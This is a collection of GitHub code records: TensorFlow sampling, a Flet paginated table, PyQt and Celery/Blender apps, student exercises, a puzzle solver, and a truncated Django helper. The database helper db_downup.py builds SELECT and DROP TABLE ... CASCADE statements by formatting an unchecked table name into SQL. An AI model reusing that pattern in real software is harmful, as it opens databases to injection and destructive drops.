sample\n        return model.sample(sess, chars, vocab,\n                            FLAGS.start_text, FLAGS.num_chars, FLAGS.seed)\n\n#///////////////////////////////////////////////////////////////////////////////\n\ndef main(_):\n    print(sample())\n\nif __name__ == '__main__':\n    tf.app.run()\n","repo_name":"frsong/tf-examples","sub_path":"char_rnn_test.py","file_name":"char_rnn_test.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"35"}
{"seq_id":"31263460445","text":"from . import AppCursor, DB_URL\nfrom sqlalchemy import create_engine\nimport pandas as pd\n\n\ndef fetch_table(table_name):\n    \"\"\"Fetches all rows from the given table_name\n\n    Args:\n        table_name: Name of the table to fetch from.\n\n    Returns:\n        List of table headers and rows extracted from DictResult.\n    \"\"\"\n    with AppCursor() as cur:\n        cur.execute(\"SELECT * FROM {}\".format(table_name))\n        return [[col.name for col in cur.description]] + [row for row in cur]\n\n\ndef download_table(table_name, csv_joinstr='|'):\n    \"\"\"Gets the given table_name as a CSV-ready string.\n\n    Args:\n        table_name: Name of the table to download as a string.\n\n        csv_joinstr: Delimiter token for the CSV file.\n                     Default: '|' (single pipe)\n    \n    Returns:\n        String ready to be dumped into a CSV file.\n        First line of string contains table headers.\n    \"\"\"\n    #Create a list to store table values, including table name and headers\n    #table name\n    output_strs = [table_name]\n\n    #Query DB for selected table via cursor\n    sql = \"\"\"SELECT * FROM {};\"\"\".format(table_name)\n    with AppCursor() as cur:\n        cur.execute(sql)\n    \n        #table headers\n        table_heads = [col.name for col in cur.description]\n        output_strs.append(\n            csv_joinstr.join(table_heads)\n        )\n\n        #table data\n        for row in cur:\n            output_strs.append(\n                csv_joinstr.join(str(cell) for cell in row)\n            )\n\n    #returns the output string list joined by \\n\n    return '\\n'.join(output_strs)\n    #.js will package to a csv file and push to client (To be done)\n\n\ndef upload_table(table_name, csv):\n    \"\"\"Uploads a CSV file into the given table, replacing existing data.\n    \n    Args:\n        table_name: String identifying the table to overwrite.\n\n        csv: File-like object containing the csv file.\n\n    Returns:\n        None\n    \"\"\"\n    #Create a connection to the database\n    engine = create_engine(DB_URL)\n    #Reads the csv file to a pandas dataframe\n    #Skip first 2 rows; they are table name and header row\n    csv_data = pd.read_csv(csv, delimiter='|', skiprows=1, header=0)\n    \n    #Insert Dataframe to sql\n    #If table exists, drop it. Cascade option drops foreign key dependents.\n    with AppCursor() as cur:\n        cur.execute(\"DROP TABLE IF EXISTS {} CASCADE;\".format(table_name))\n\n    #Recreate table, and insert data. Create if does not exist.\n    csv_data.to_sql(table_name, engine, index=False)\n    return\n\n\n","repo_name":"threewordhaiku/firstyearmedicalstudent","sub_path":"db_tools/db_downup.py","file_name":"db_downup.py","file_ext":"py","file_size_in_byte":2522,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"33879827068","text":"import flet as ft\n\n\"\"\"\nPaginatedDataTable is based on flet.UserControl.\nFeel free to modify it entirely so it could fit your likings and/or needs.\n\n`How to use:`\nAfter initializing the object, you can access the DataTable, DataRow, or DataColumn instances\nusing the following attributes:\n    - `datatable`\n    - `datarows`\n    - `datacolumns`\n\"\"\"\n\n\nclass PaginatedDataTable(ft.UserControl):\n    # a default number of rows per page to be used in the data table\n    DEFAULT_ROW_PER_PAGE = 5\n\n    def __init__(\n            self,\n            datatable: ft.DataTable,\n            table_title: str = \"Default Title\",\n            rows_per_page: int = DEFAULT_ROW_PER_PAGE,\n    ):\n        \"\"\"\n        A customized user control which returns a paginated data table. It offers the possibility to organize data\n        into pages and also define the number of rows to be shown on each page.\n\n        :parameter datatable: a DataTable object to be used\n        :parameter table_title: the title of the table\n        :parameter rows_per_page: the number of rows to be shown per page\n        \"\"\"\n        super().__init__()\n\n        self.dt = datatable\n        self.title = table_title\n        self.rows_per_page = rows_per_page\n\n        # number of rows in the table\n        self.num_rows = len(datatable.rows)\n        self.current_page = 1\n\n        # Calculating the number of pages.\n        p_int, p_add = divmod(self.num_rows, self.rows_per_page)\n        self.num_pages = p_int + (1 if p_add else 0)\n\n        # will display the current page number\n        self.v_current_page = ft.Text(\n            str(self.current_page),\n            tooltip=\"Double click to set current page.\",\n            weight=ft.FontWeight.BOLD\n        )\n\n        # textfield to go to a particular page\n        self.current_page_changer_field = ft.TextField(\n            value=str(self.current_page),\n            dense=True,\n            filled=False,\n            width=40,\n            on_submit=lambda e: self.set_page(page=e.control.value),\n            visible=False,\n            keyboard_type=ft.KeyboardType.NUMBER,\n            content_padding=2,\n            text_align=ft.TextAlign.CENTER\n        )\n\n        # gesture detector to detect double taps of its contents\n        self.gd = ft.GestureDetector(\n            content=ft.Row(controls=[self.v_current_page, self.current_page_changer_field]),\n            on_double_tap=self.on_double_tap_page_changer,\n        )\n\n        # textfield to change the number of rows_per_page\n        self.v_num_of_row_changer_field = ft.TextField(\n            value=str(self.rows_per_page),\n            dense=True,\n            filled=False,\n            width=40,\n            on_submit=lambda e: self.set_rows_per_page(e.control.value),\n            keyboard_type=ft.KeyboardType.NUMBER,\n            content_padding=2,\n            text_align=ft.TextAlign.CENTER\n        )\n\n        # will display the number of rows in the table\n        self.v_count = ft.Text(weight=ft.FontWeight.BOLD)\n\n        self.pdt = ft.DataTable(\n            columns=self.dt.columns,\n            rows=self.build_rows()\n        )\n\n    @property\n    def datatable(self) -> ft.DataTable:\n        return self.pdt\n\n    @property\n    def datacolumns(self) -> list[ft.DataColumn]:\n        return self.pdt.columns\n\n    @property\n    def datarows(self) -> list[ft.DataRow]:\n        return self.dt.rows\n\n    def set_rows_per_page(self, new_row_per_page: str):\n        \"\"\"\n        Takes a string as an argument, tries converting it to an integer, and sets the number of rows per page to that\n        integer if it is between 1 and the total number of rows, otherwise it sets the number of rows per page to the\n        default value\n\n        :param new_row_per_page: The new number of rows per page\n        :type new_row_per_page: str\n        :raise ValueError\n        \"\"\"\n        try:\n            self.rows_per_page = int(new_row_per_page) \\\n                if 1 <= int(new_row_per_page) <= self.num_rows \\\n                else self.DEFAULT_ROW_PER_PAGE\n        except ValueError:\n            # if an error occurs set to default\n            self.rows_per_page = self.DEFAULT_ROW_PER_PAGE\n        self.v_num_of_row_changer_field.value = str(self.rows_per_page)\n\n        # Calculating the number of pages.\n        p_int, p_add = divmod(self.num_rows, self.rows_per_page)\n        self.num_pages = p_int + (1 if p_add else 0)\n\n        self.set_page(page=1)\n        # self.refresh_data()\n\n    def set_page(self, page: [str, int, None] = None, delta: int = 0):\n        \"\"\"\n        Sets the current page using the page parameter if provided. Else if the delta is not 0,\n        sets the current page to the current page plus the provided delta.\n\n        :param page: the page number to display\n        :param delta: The number of pages to move forward or backward, defaults to 0 (optional)\n        :return: The current page number.\n        :raise ValueError\n        \"\"\"\n        if page is not None:\n            try:\n                self.current_page = int(page) if 1 <= int(page) <= self.num_pages else 1\n            except ValueError:\n                self.current_page = 1\n        elif delta:\n            self.current_page += delta\n        else:\n            return\n        self.refresh_data()\n\n    def next_page(self, e: ft.ControlEvent):\n        \"\"\"sets the current page to the next page\"\"\"\n        if self.current_page < self.num_pages:\n            self.set_page(delta=1)\n\n    def prev_page(self, e: ft.ControlEvent):\n        \"\"\"set the current page to the previous page\"\"\"\n        if self.current_page > 1:\n            self.set_page(delta=-1)\n\n    def goto_first_page(self, e: ft.ControlEvent):\n        \"\"\"sets the current page to the first page\"\"\"\n        self.set_page(page=1)\n\n    def goto_last_page(self, e: ft.ControlEvent):\n        \"\"\"sets the current page to the last page\"\"\"\n        self.set_page(page=self.num_pages)\n\n    def build_rows(self) -> list:\n        \"\"\"\n        Returns a slice of indexes, using the start and end values returned by the paginate() function\n        :return: The rows of data that are being displayed on the page.\n        \"\"\"\n        return self.dt.rows[slice(*self.paginate())]\n\n    def paginate(self) -> tuple[int, int]:\n        \"\"\"\n        Returns a tuple of two integers, where the first is the index of the first row to be displayed\n        on the current page, and `the second the index of the last row to be displayed on the current page\n        :return: A tuple of two integers.\n        \"\"\"\n        i1_multiplier = 0 if self.current_page == 1 else self.current_page - 1\n        i1 = i1_multiplier * self.rows_per_page\n        i2 = self.current_page * self.rows_per_page\n\n        return i1, i2\n\n    def build(self):\n        return ft.Card(\n            ft.Container(\n                ft.Column(\n                    [\n                        ft.Text(self.title, style=ft.TextThemeStyle.HEADLINE_SMALL),\n                        self.pdt,\n                        ft.Row(\n                            [\n                                ft.Row(\n                                    controls=[\n                                        ft.IconButton(\n                                            ft.icons.KEYBOARD_DOUBLE_ARROW_LEFT,\n                                            on_click=self.goto_first_page,\n                                            tooltip=\"First Page\"\n                                        ),\n                                        ft.IconButton(\n                                            ft.icons.KEYBOARD_ARROW_LEFT,\n                                            on_click=self.prev_page,\n                                            tooltip=\"Previous Page\"\n                                        ),\n                                        self.gd,\n                                        ft.IconButton(\n                                            ft.icons.KEYBOARD_ARROW_RIGHT,\n                                            on_click=self.next_page,\n                                            tooltip=\"Next Page\"\n                                        ),\n                                        ft.IconButton(\n                                            ft.icons.KEYBOARD_DOUBLE_ARROW_RIGHT,\n                                            on_click=self.goto_last_page,\n                                            tooltip=\"Last Page\"\n                                        ),\n                                    ]\n                                ),\n                                ft.Row(\n                                    controls=[\n                                        self.v_num_of_row_changer_field, ft.Text(\"rows per page\")\n                                    ]\n                                ),\n                                self.v_count,\n                            ],\n                            alignment=ft.MainAxisAlignment.SPACE_BETWEEN\n                        ),\n                    ],\n                    scroll=ft.ScrollMode.AUTO\n                ),\n                padding=10,\n            ),\n            elevation=5,\n        )\n\n    def on_double_tap_page_changer(self, e):\n        \"\"\"\n        Called when the content of the GestureDetector (gd) is double tapped.\n        Toggles the visibility of gd's content.\n        \"\"\"\n        self.current_page_changer_field.value = str(self.current_page)\n        self.v_current_page.visible = not self.v_current_page.visible\n        self.current_page_changer_field.visible = not self.current_page_changer_field.visible\n        self.update()\n\n    def refresh_data(self):\n        # Setting the rows of the paginated datatable to the rows returned by the `build_rows()` function.\n        self.pdt.rows = self.build_rows()\n        # display the total number of rows in the table.\n        self.v_count.value = f\"Total Rows: {self.num_rows}\"\n        # the current page number versus the total number of pages.\n        self.v_current_page.value = f\"{self.current_page}/{self.num_pages}\"\n\n        # update the visibility of controls in the gesture detector\n        self.current_page_changer_field.visible = False\n        self.v_current_page.visible = True\n\n        # update the control so the above changes are rendered in the UI\n        self.update()\n\n    def did_mount(self):\n        self.refresh_data()\n","repo_name":"ndonkoHenri/Flet-Custom-Controls","sub_path":"Paginated DataTable/paginated_dt.py","file_name":"paginated_dt.py","file_ext":"py","file_size_in_byte":10264,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"35"}
{"seq_id":"25774897505","text":"# Lab 4\n#\n# Name: Veronica Pollock\n# Instructor: Sussan Einakian\n# Section: 23\n\nimport driver\n\ndef letter(row, col):\n\tif col - row >= 0:\n\t\treturn \"W\"\n\telse:\n\t\treturn \"T\"\n\nif __name__ == '__main__':\n\tdriver.comparePatterns(letter)\n","repo_name":"VNalu/CPE101","sub_path":"LAB4/pattern05.py","file_name":"pattern05.py","file_ext":"py","file_size_in_byte":230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"9198418019","text":"n=input().split()\nl=[]\nnew=[]\nfor i in n:\n    new.append(n[0])\n    l.append(i[1:])\nl.sort()\nfor i in range(len(l)):\n    for j in range(len(n)):\n        new1=n[j]\n        if(new1[1:]==l[i]):\n            print(new1[0]+l[i],end=\"\")\n    print(end=\" \")","repo_name":"Srikoushikkamal/Basic_Python_Programs","sub_path":"Sort_Based_On_2nd_Char.py","file_name":"Sort_Based_On_2nd_Char.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"8940829084","text":"import sys\nfrom PyQt5.QtWidgets import QApplication, QWidget,  QTabWidget, QGridLayout, \\\n    QMessageBox, QLabel, QLineEdit, QGroupBox, QVBoxLayout, QPushButton\nfrom Fakultetas import Fakultetas\nfrom StudentuLentele import Issokantislangas\nfrom DestytojuLentele import Issokantislangas2\n\nclass Pagrindinis_langas(QWidget):\n    \"\"\"Pagrindinio lango klase\"\"\"\n\n    def __init__(self):\n        \"\"\"Konstruktorius\"\"\"\n        super().__init__()\n        self.setWindowTitle(\"Fakultetas\")\n        layout = QVBoxLayout()\n        tabs = QTabWidget()\n        self.vardas_studento_q_line_edit = QLineEdit()\n        self.pavarde_studento_q_line_edit = QLineEdit()\n        self.studiju_programa_q_line_edit = QLineEdit()\n        self.kursas_q_line_edit = QLineEdit()\n        self.vardas_destytojo_q_line_edit = QLineEdit()\n        self.pavarde_destytojo_q_line_edit = QLineEdit()\n        self.pareiga_q_line_edit = QLineEdit()\n        self.kada_pradejo_q_line_edit = QLineEdit()\n        self.kiek_laiko_desto_q_line_edit = QLineEdit()\n        tabs.addTab(self.fill_student_tab(), \"Studentas\")\n        tabs.addTab(self.fill_lecturer_tab(), \"Destytojas\")\n        layout.addWidget(tabs)\n        self.setLayout(layout)\n        self.fakultetas = Fakultetas(\"MIF\", \"Naugarduko 24\")\n\n        self.show()\n\n    def fill_student_tab(self):\n        \"\"\"Uzpildo skirtuka\"\"\"\n        horizontal_group_box = QGroupBox()\n        group_box_layout = QGridLayout()\n        irasyti_studenta_button = QPushButton(\"Įrašyti studentą\")\n        irasyti_studenta_button.clicked.connect(self.on_click_studentas)\n        studentu_sarasas_button = QPushButton(\"Studentų sąrašas\")\n        studentu_sarasas_button.clicked.connect(self.on_click_studentu_sarasas_button)\n        group_box_layout.setColumnStretch(0, 1)\n        group_box_layout.setColumnStretch(1, 2)\n        group_box_layout.addWidget(QLabel(\"Vardas\"), 0, 0)\n        group_box_layout.addWidget(QLabel(\"Pavardė\"), 1, 0)\n        group_box_layout.addWidget(QLabel(\"Studijų programa\"), 2, 0)\n        group_box_layout.addWidget(QLabel(\"Kursas\"), 3, 0)\n        group_box_layout.addWidget(self.vardas_studento_q_line_edit, 0, 1)\n        group_box_layout.addWidget(self.pavarde_studento_q_line_edit, 1, 1)\n        group_box_layout.addWidget(self.studiju_programa_q_line_edit, 2, 1)\n        group_box_layout.addWidget(self.kursas_q_line_edit, 3, 1)\n        group_box_layout.addWidget(irasyti_studenta_button, 4, 0)\n        group_box_layout.addWidget(studentu_sarasas_button, 5, 0)\n        horizontal_group_box.setLayout(group_box_layout)\n        return horizontal_group_box\n\n    def fill_lecturer_tab(self):\n        \"\"\"Uzpildo skituka\"\"\"\n        horizontal_group_box = QGroupBox()\n        group_box_layout = QGridLayout()\n        irasyti_destytoja_button = QPushButton(\"Įrašyti dėstytoją\")\n        irasyti_destytoja_button.clicked.connect(self.on_click_destytojas)\n        destytoju_sarasas_button = QPushButton(\"Dėstytojų sąrašas\")\n        destytoju_sarasas_button.clicked.connect(self.on_click_destytoju_sarasas_button)\n        valandu_kiekis_button = QPushButton(\"Valandu kiekis\")\n        valandu_kiekis_button.clicked.connect(self.on_click_valandu_kiekis_button)\n        group_box_layout.setColumnStretch(0, 1)\n        group_box_layout.setColumnStretch(1, 2)\n        group_box_layout.addWidget(QLabel(\"Vardas\"), 0, 0)\n        group_box_layout.addWidget(QLabel(\"Pavardė\"), 1, 0)\n        group_box_layout.addWidget(QLabel(\"Pareiga\"), 2, 0)\n        group_box_layout.addWidget(QLabel(\"Kada pradėjo dirbti\"), 3, 0)\n        group_box_layout.addWidget(QLabel(\"Kiek valandu desto\"), 4, 0)\n        group_box_layout.addWidget(self.vardas_destytojo_q_line_edit, 0, 1)\n        group_box_layout.addWidget(self.pavarde_destytojo_q_line_edit, 1, 1)\n        group_box_layout.addWidget(self.pareiga_q_line_edit, 2, 1)\n        group_box_layout.addWidget(self.kada_pradejo_q_line_edit, 3, 1)\n        group_box_layout.addWidget(self.kiek_laiko_desto_q_line_edit, 4, 1)\n        group_box_layout.addWidget(irasyti_destytoja_button, 5, 0)\n        group_box_layout.addWidget(destytoju_sarasas_button, 6, 0)\n        group_box_layout.addWidget(valandu_kiekis_button, 7, 0)\n\n        horizontal_group_box.setLayout(group_box_layout)\n\n        return horizontal_group_box\n\n    def on_click_studentas(self):\n        \"\"\"Mygtuko paspaudimas priima studenta\"\"\"\n        self.fakultetas.priimti_studenta(self.vardas_studento_q_line_edit.text(),\n                                         self.pavarde_studento_q_line_edit.text(),\n                                         self.studiju_programa_q_line_edit.text(),\n                                         self.kursas_q_line_edit.text())\n\n    def on_click_destytojas(self):\n        \"\"\"Mygtuko paspaudimas priima destytoja\"\"\"\n        self.fakultetas.priimti_destytoja(self.vardas_destytojo_q_line_edit.text(),\n                                          self.pavarde_destytojo_q_line_edit.text(),\n                                          self.pareiga_q_line_edit.text(),\n                                          self.kada_pradejo_q_line_edit.text(),\n                                          self.kiek_laiko_desto_q_line_edit.text())\n\n    def on_click_studentu_sarasas_button(self):\n        \"\"\"Atidaro Issokanti langa\"\"\"\n        self.issokantis_langas = Issokantislangas(self.fakultetas.studentai, self.fakultetas)\n\n    def on_click_destytoju_sarasas_button(self):\n        \"\"\"Atidaro Issokantis langas 2\"\"\"\n        self.issokantis_langas2 = Issokantislangas2(self.fakultetas.destytojai, self.fakultetas)\n\n    def on_click_valandu_kiekis_button(self):\n        \"\"\"Mygtuko paspaudimas apskaiciuoja destytoju destomu valandu skaiciu\"\"\"\n        QMessageBox.about(self, \"Kiek valandu desto\", \"Desto: {}\".format(str(self.fakultetas.desto_valandu())))\n\n    def closeEvent(self, event):\n        \"\"\"Informacine zinute\"\"\"\n        reply = QMessageBox.question(self, 'Message',\n                                     \"Are you sure to quit?\", QMessageBox.Yes |\n                                     QMessageBox.No)\n        if reply == QMessageBox.Yes:\n            event.accept()\n        else:\n            event.ignore()\n\n\napp = QApplication(sys.argv)\nex = Pagrindinis_langas()\nsys.exit(app.exec_())\n","repo_name":"evelinamon/evelina","sub_path":"Vizualizacija.py","file_name":"Vizualizacija.py","file_ext":"py","file_size_in_byte":6223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30668112416","text":"from constraint import *\n\n\nvertical_edges = []\nhorizontal_edges = []\ncols = []\nrows = []\n#enter difficulty level\nfilename=\"normal.txt\"\nfile = open(filename, \"r\")\nline_number = 0\nfor line in file:\n    line = line.rstrip(\"\\n\")\n    if 1 <= line_number < 7:\n        char_list = line.rsplit(\",\")\n        for ch in char_list:\n            ind = char_list.index(ch)\n            char_list[ind] = int(ch)\n        vertical_edges.append(char_list)\n    elif 9 <= line_number < 15:\n        char_list = line.rsplit(\",\")\n        for ch in char_list:\n            ind = char_list.index(ch)\n            char_list[ind] = int(ch)\n        horizontal_edges.append(char_list)\n    elif 17 <= line_number < 18:\n        char_list = line.rsplit(\",\")\n        for ch in char_list:\n            ind = char_list.index(ch)\n            char_list[ind] = int(ch)\n        cols.append(char_list)\n        cols = cols[0]\n    elif 20 <= line_number < 21:\n        char_list = line.rsplit(\",\")\n        for ch in char_list:\n            ind = char_list.index(ch)\n            char_list[ind] = int(ch)\n        rows.append(char_list)\n        rows = rows[0]\n    line_number += 1\n\n\n\nproblem = Problem(BacktrackingSolver())\n\nfor i in range(1, 7):\n    problem.addVariables(range(i * 10 + 1, i * 10 + 7), range(0, 2))\n\niterator_col = 1\nfor col in cols:\n    # print(index_col)\n    problem.addConstraint(ExactSumConstraint(col), range(10 + iterator_col, 70 + iterator_col, 10))\n    iterator_col += 1\n\niterator_row = 1\nfor row in rows:\n    # print(index_row)\n    problem.addConstraint(ExactSumConstraint(row), range(10 * iterator_row + 1, 10 * iterator_row + 7))\n    iterator_row += 1\n\n\n\nfor i in range(len(vertical_edges)):\n    for x in range(len(vertical_edges[i])):\n        # always checking the left neighbor of the current cell\n        # when x is 0, we cant check the left neighbor since it doesnt exist\n        if x != 0:\n            if vertical_edges[i][x] == 0:\n                problem.addConstraint(AllEqualConstraint(), [10 * (i + 1) + (x + 1), 10 * (i + 1) + (x + 1) - 1])\n\nfor p in range(len(horizontal_edges)):\n    for q in range(len(horizontal_edges)):\n        # always checking the down neighbor of the current cell\n        # when x is 6, we cant check the down neighbor since it doesnt exist\n        if q != 6:\n            if horizontal_edges[p][q] == 0:\n                # a is the lower column of b\n                # if a is not 1, then b can not be 1\n                # if a is 0, then b is 0\n                # if a is 1, be can be either 0 or 1\n                problem.addConstraint(lambda a, b: a >= b, [10 * (q + 1) + (p + 1), 10 * q + (p + 1)])\n\nsolution_list = sorted(sorted(x.items()) for x in problem.getSolutions())\n\n\n\n\n#writes lists into files\noutput_file=filename.rstrip(\".txt\")+\"_solution.txt\"\nf=open(output_file, \"w\")\n\ndef writing(r,f):\n    for element in r:\n        element= str(element)\n        f.write(element+\" \")\n    f.write(\"\\n\")\n\n\n#printing solution for the puzzle\nprint(\"Solution for the \", filename.rstrip(\".txt\"), \" puzzle:\")\n\n\nr1, r2, r3, r4, r5, r6 = [], [], [], [], [], []\nfor key in range(len(solution_list[0])):\n    if key in range(0, 6):\n        r1.append(solution_list[0][key][1])\n    elif key in range(6, 12):\n        r2.append(solution_list[0][key][1])\n    elif key in range(12, 18):\n        r3.append(solution_list[0][key][1])\n    elif key in range(18, 24):\n        r4.append(solution_list[0][key][1])\n    elif key in range(24, 30):\n        r5.append(solution_list[0][key][1])\n    elif key in range(30, 36):\n        r6.append(solution_list[0][key][1])\n\nwriting(r1,f)\nwriting(r2,f)\nwriting(r3,f)\nwriting(r4,f)\nwriting(r5,f)\nwriting(r6,f)\nprint(\"\\n\", r1, \"\\n\", r2, \"\\n\", r3, \"\\n\", r4, \"\\n\", r5, \"\\n\", r6)\n\n\n","repo_name":"Buseak/cs404","sub_path":"csp_buseak_25469.py","file_name":"csp_buseak_25469.py","file_ext":"py","file_size_in_byte":3698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"1251017582","text":"#!env /bin/python3\n\nimport sys\nsys.setrecursionlimit(100000)\n\nn,k = input().split()\nn = int(n)\nk = int(k)\nnuts = list(map(int, input().split()))\nnut = [False for i in range(n)]\nfor nu in nuts:\n    nut[nu-1] = True\ne = [[] for i in range(n)]\n\nfor i in range(n-1):\n    a,b = input().split()\n    a = int(a)-1\n    b = int(b)-1\n    e[a].append(b)\n    e[b].append(a)\n\ndef rec(v,l):\n    ans = 0\n    for u in e[v]:\n        if u != l:\n            ans += rec(u,v)\n    if ans ==0 and not nut[v]:\n        return 0\n    else:\n        return ans+2\n\n\nprint(rec(0,0)-2)\n","repo_name":"Kodsport/swedish-olympiad-2021","sub_path":"final/ekorren/submissions/accepted/fredrik.py","file_name":"fredrik.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"18446743022","text":"import os\nfrom celery import Celery\nimport subprocess\nfrom celery.utils.log import get_task_logger\nimport requests\nimport tempfile\nfrom pyvirtualdisplay import Display\nfrom bvh import Bvh\n\nDisplay().start()\n\n\nlogger = get_task_logger(__name__)\n\n\nWORKER_TIMEOUT = int(os.environ[\"WORKER_TIMEOUT\"])\ncelery = Celery(\n    \"tasks\",\n    broker=os.environ[\"CELERY_BROKER_URL\"],\n    backend=os.environ[\"CELERY_RESULT_BACKEND\"],\n)\n\n\nclass TaskFailure(Exception):\n    pass\n\n\ndef validate_bvh_file(bvh_file):\n    MAX_NUMBER_FRAMES = int(os.environ[\"MAX_NUMBER_FRAMES\"])\n    FRAME_TIME = 1.0 / float(os.environ[\"RENDER_FPS\"])\n\n    file_content = bvh_file.decode(\"utf-8\")\n    mocap = Bvh(file_content)\n    counter = None\n    for line in file_content.split(\"\\n\"):\n        if counter is not None and line.strip():\n            counter += 1\n        if line.strip() == \"MOTION\":\n            counter = -2\n\n    if mocap.nframes != counter:\n        raise TaskFailure(\n            f\"The number of rows with motion data ({counter}) does not match the Frames field ({mocap.nframes})\"\n        )\n\n    if MAX_NUMBER_FRAMES != -1 and mocap.nframes > MAX_NUMBER_FRAMES:\n        raise TaskFailure(\n            f\"The supplied number of frames ({mocap.nframes}) is bigger than {MAX_NUMBER_FRAMES}\"\n        )\n\n    if mocap.frame_time != FRAME_TIME:\n        raise TaskFailure(\n            f\"The supplied frame time ({mocap.frame_time}) differs from the required {FRAME_TIME}\"\n        )\n\n\n@celery.task(name=\"tasks.render\", bind=True, hard_time_limit=WORKER_TIMEOUT)\ndef render(self, bvh_file_uri: str) -> str:\n    HEADERS = {\"Authorization\": f\"Bearer \" + os.environ[\"SYSTEM_TOKEN\"]}\n    API_SERVER = os.environ[\"API_SERVER\"]\n\n    logger.info(\"rendering..\")\n    self.update_state(state=\"PROCESSING\")\n\n    bvh_file = requests.get(API_SERVER + bvh_file_uri, headers=HEADERS).content\n    validate_bvh_file(bvh_file)\n\n    with tempfile.NamedTemporaryFile(suffix=\".bhv\") as tmpf:\n        tmpf.write(bvh_file)\n        tmpf.seek(0)\n\n        process = subprocess.Popen(\n            [\n                \"/blender/blender-2.83.0-linux64/blender\",\n                \"-noaudio\",\n                \"-b\",\n                \"--python\",\n                \"blender_render.py\",\n                \"--\",\n                tmpf.name,\n            ],\n            stdout=subprocess.PIPE,\n            stderr=subprocess.PIPE,\n        )\n        total = None\n        current_frame = None\n        for line in process.stdout:\n            line = line.decode(\"utf-8\").strip()\n            if line.startswith(\"total_frames \"):\n                _, total = line.split(\" \")\n                total = int(float(total))\n            elif line.startswith(\"Append frame \"):\n                *_, current_frame = line.split(\" \")\n                current_frame = int(current_frame)\n            elif line.startswith(\"output_file\"):\n                _, file_name = line.split(\" \")\n                files = {\"file\": (os.path.basename(file_name), open(file_name, \"rb\"))}\n                return requests.post(\n                    API_SERVER + \"/upload_video\", files=files, headers=HEADERS\n                ).text\n            if total and current_frame:\n                self.update_state(\n                    state=\"RENDERING\", meta={\"current\": current_frame, \"total\": total}\n                )\n        if process.returncode != 0:\n            raise TaskFailure(process.stderr.read().decode(\"utf-8\"))\n","repo_name":"jonepatr/genea_visualizer","sub_path":"celery-queue/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":3390,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"35"}
{"seq_id":"5244763710","text":"from .models import Tovar, PhotoTovara, VidArendi,Otziv, Set, Person,TovarTypeTovar, VidArendiTovars, TovarPerson,AddPaid, AddTovars, SizeTovars\nimport django.contrib.auth as auth\nfrom datetime import timedelta, datetime, date\nfrom django.db.models import Avg, Max, Min\n\nclass Obrabotka():\n    def Obrkorzina(self, tovar, rent, size, kolich, nomer):\n        name = tovar.name\n        material = tovar.Material\n\n        img = tovar.phototovara_set.filter(main=True)\n        if len(img) >0:\n            img = img[0].photo\n        else:\n            img = None\n\n        rentname = rent.vidArendi.name\n        rentstoimost = rent.stoimost\n        rentvikup = 'Нет выкупа'\n        if rent.vikup !=None:\n            rentvikup = rent.vikup * rent.platej\n        rentvozvrat = rent.Vozvrat * rent.platej\n        rentplatej = rent.platej\n\n        size = size.Size.name\n\n        return {'img':img, 'id':tovar.id, 'kolich':kolich ,'name':name, 'material':material, \"rentname\": rentname, 'rentstoimost': rentstoimost, 'rentvikup':rentvikup, 'rentvozvrat':rentvozvrat,\n                'rentplatej':rentplatej, 'size':size, 'nomer':nomer}\n\n\n    def NormVidArendi(self, rent):\n        rentname = rent.vidArendi.name\n        rentstoimost = rent.stoimost\n        rentvikup = 'Нет выкупа'\n        if rent.vikup != None:\n            rentvikup = rent.vikup * rent.platej\n        rentvozvrat = rent.Vozvrat * rent.platej\n        rentplatej = rent.platej\n        return {\"rentname\": rentname, 'rentstoimost': rentstoimost, 'rentvikup':rentvikup, 'rentvozvrat':rentvozvrat,\n                'rentplatej':rentplatej}\n\n\n    def NormTovar(self, tovar):\n        name = tovar.name\n        material = tovar.Material\n\n        img = tovar.phototovara_set.filter(main=True)\n        if len(img) > 0:\n            img = img[0].photo\n        else:\n            img = None\n        return {'name': name, 'material': material, \"img\": img, \"id\":tovar.id}\n\n    def NormTovarsSize(self, size):\n        size = size.Size.name\n        return {'size':size}\n\n\n\n\n\n    def _Proverka(self, elem, prover):\n        pass\n    def SpisokTovar(self, tov):\n        fotoTov = tov.phototovara_set.all().filter(main=True)\n        foto = ''\n        if (len(fotoTov) != 0):\n            foto = fotoTov[0].photo\n        opisanie = tov.Opisanie\n        material = tov.Material\n        brand = tov.brand\n        name = tov.name\n        razm = tov.sizetovars_set.all()\n        size = []\n        for siz in razm:\n            size.append(siz.Size)\n        return {'photo': foto, 'opisanie': opisanie, 'material': material, 'brand': brand, 'name': name, 'size': size}\n\n    def miniTovar(self,tvr):\n        Name = tvr.name\n\n        price = tvr.vidarenditovars_set.aggregate(Min('stoimost'))['stoimost__min']\n\n        print('цена', price)\n        Main = tvr.phototovara_set.all().filter(main=True, delete=False)\n        if len(Main) != 0:\n            Main = Main[0].photo\n        else:\n            Main = ''\n\n        return {'name': Name,'cena':price,  'foto': '/static/' + str(Main),\n                'url': '/tovar/' + str(tvr.id), 'id': tvr.id}\n\n\n\n\n    def miniNormTovar(self, tovar):\n\n        size = SizeTovars.objects.filter(Tovar__id=tovar.id).values('Size__name','nalichie')\n        arenda =  VidArendiTovars.objects.filter(tovar__id=tovar.id).values('vidArendi__name','stoimost','vikup','Vozvrat','platej')\n\n        name = tovar.name\n        opisanie = tovar.Opisanie\n        brand = tovar.brand.name\n\n        sex = tovar.Sex.name\n\n        Material = tovar.Material\n\n        Del = 'Не известно'\n\n        if tovar.Del == True:\n            Del = \"Удален\"\n        else:\n            Del = \"Не удален\"\n\n        return {'size':size,'arenda':arenda, 